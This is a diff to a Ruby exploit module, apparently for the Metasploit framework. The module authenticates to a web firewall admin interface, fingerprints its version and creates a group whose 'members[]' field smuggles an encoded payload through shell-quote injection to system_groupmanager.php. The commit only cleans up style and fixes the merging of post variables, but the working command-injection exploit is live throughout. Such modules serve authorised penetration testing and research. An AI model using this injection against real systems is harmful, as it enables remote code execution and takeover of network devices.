@@ -67,8 +67,8 @@ def initialize(info = {})
67
67
def login
68
68
res = send_request_cgi (
69
69
'uri' => '/index.php' ,
70
- 'method' => 'GET' ,
71
- )
70
+ 'method' => 'GET'
71
+ )
72
72
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
73
73
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
74
74
@@ -87,7 +87,7 @@ def login
87
87
}
88
88
)
89
89
unless res
90
- fail_with ( Failure ::UnexpectedReply , ' #{peer} - Did not respond to authentication request' )
90
+ fail_with ( Failure ::UnexpectedReply , " #{ peer } - Did not respond to authentication request" )
91
91
end
92
92
if res . code == 302
93
93
vprint_status ( 'Successful Authentication' )
@@ -105,7 +105,7 @@ def detect_version(cookie)
105
105
'cookie' => cookie
106
106
)
107
107
unless res
108
- fail_with ( Failure ::UnexpectedReply , ' #{peer} - Did not respond to authentication request' )
108
+ fail_with ( Failure ::UnexpectedReply , " #{ peer } - Did not respond to authentication request" )
109
109
end
110
110
/Version.+<strong>(?<version>[0-9\. \- RELEASE]+)[\n ]?<\/ strong>/m =~ res . body
111
111
if version
@@ -156,23 +156,23 @@ def exploit
156
156
157
157
group_name = rand_text_alpha ( 10 )
158
158
post_vars = {
159
- '__csrf_magic' => csrf ,
160
- 'groupname' => group_name ,
161
- 'description' => '' ,
162
- 'members[]' => "0';#{ payload . encoded } ;'" ,
163
- 'groupid' => '' ,
164
- 'save' => 'Save'
159
+ '__csrf_magic' => csrf ,
160
+ 'groupname' => group_name ,
161
+ 'description' => '' ,
162
+ 'members[]' => "0';#{ payload . encoded } ;'" ,
163
+ 'groupid' => '' ,
164
+ 'save' => 'Save'
165
165
}
166
166
if version >= Gem ::Version . new ( '2.3' )
167
- post_vars . merge ( { 'gtype' => 'local' } )
168
- elsif version <= Gem ::Version . new ( '2.3' ) #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169
- post_vars . merge ( {
167
+ post_vars = post_vars . merge ( 'gtype' => 'local' )
168
+ elsif version <= Gem ::Version . new ( '2.3' ) # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169
+ post_vars = post_vars . merge (
170
170
'act' => '' ,
171
171
'gtype' => '' ,
172
172
'privid' => ''
173
- } )
173
+ )
174
174
end
175
- res = send_request_cgi (
175
+ send_request_cgi (
176
176
'uri' => '/system_groupmanager.php' ,
177
177
'method' => 'POST' ,
178
178
'cookie' => cookie ,
0 commit comments